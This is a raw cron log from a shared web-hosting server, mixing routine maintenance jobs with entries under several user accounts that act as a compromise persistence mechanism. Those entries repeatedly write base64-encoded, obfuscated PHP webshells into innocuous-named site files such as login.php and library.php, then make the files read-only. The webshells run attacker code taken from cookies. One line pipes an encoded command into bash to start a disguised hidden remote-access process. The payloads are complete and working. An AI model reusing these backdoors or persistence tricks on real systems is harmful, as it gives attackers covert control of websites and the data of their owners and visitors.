Mar  2 07:59:01 medusa CROND[27918]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:59:01 medusa CROND[27917]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:59:01 medusa CROND[27923]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:00:01 medusa CROND[13714]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 08:00:01 medusa CROND[13773]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 08:00:01 medusa CROND[13827]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 08:00:02 medusa CROND[13932]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 08:00:02 medusa CROND[13979]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:00:02 medusa CROND[14262]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Mar  2 08:00:02 medusa CROND[14263]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 08:00:02 medusa CROND[14264]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 08:00:02 medusa CROND[14265]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 08:00:02 medusa CROND[14266]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  2 08:00:02 medusa CROND[14273]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:00:02 medusa CROND[14270]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 08:00:02 medusa CROND[14272]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:00:02 medusa CROND[14278]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:00:02 medusa CROND[14274]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 08:00:02 medusa CROND[14290]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:00:02 medusa CROND[14293]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  2 08:00:02 medusa CROND[14292]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:00:02 medusa CROND[14294]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 08:00:02 medusa CROND[14307]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:00:02 medusa CROND[14310]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:00:02 medusa CROND[14309]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 08:00:02 medusa CROND[14314]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 08:00:02 medusa CROND[14308]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 08:00:02 medusa CROND[14311]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 08:00:02 medusa CROND[14329]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 08:00:02 medusa CROND[14328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 08:00:02 medusa CROND[14326]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 08:00:02 medusa CROND[14334]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:00:02 medusa CROND[14336]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:00:02 medusa CROND[14343]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 08:00:02 medusa CROND[14348]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 08:00:02 medusa CROND[14345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:00:02 medusa CROND[14353]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 08:00:02 medusa CROND[14349]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 08:00:02 medusa CROND[14356]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 08:00:02 medusa CROND[14347]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 08:00:02 medusa CROND[14366]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 08:00:02 medusa CROND[14365]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 08:00:02 medusa CROND[14351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:01:02 medusa CROND[30658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:01:02 medusa CROND[30750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:01:02 medusa CROND[30823]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 08:01:02 medusa CROND[30829]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 08:01:02 medusa CROND[30830]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:01:02 medusa CROND[30833]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:01:02 medusa CROND[30835]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 08:01:02 medusa CROND[30839]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
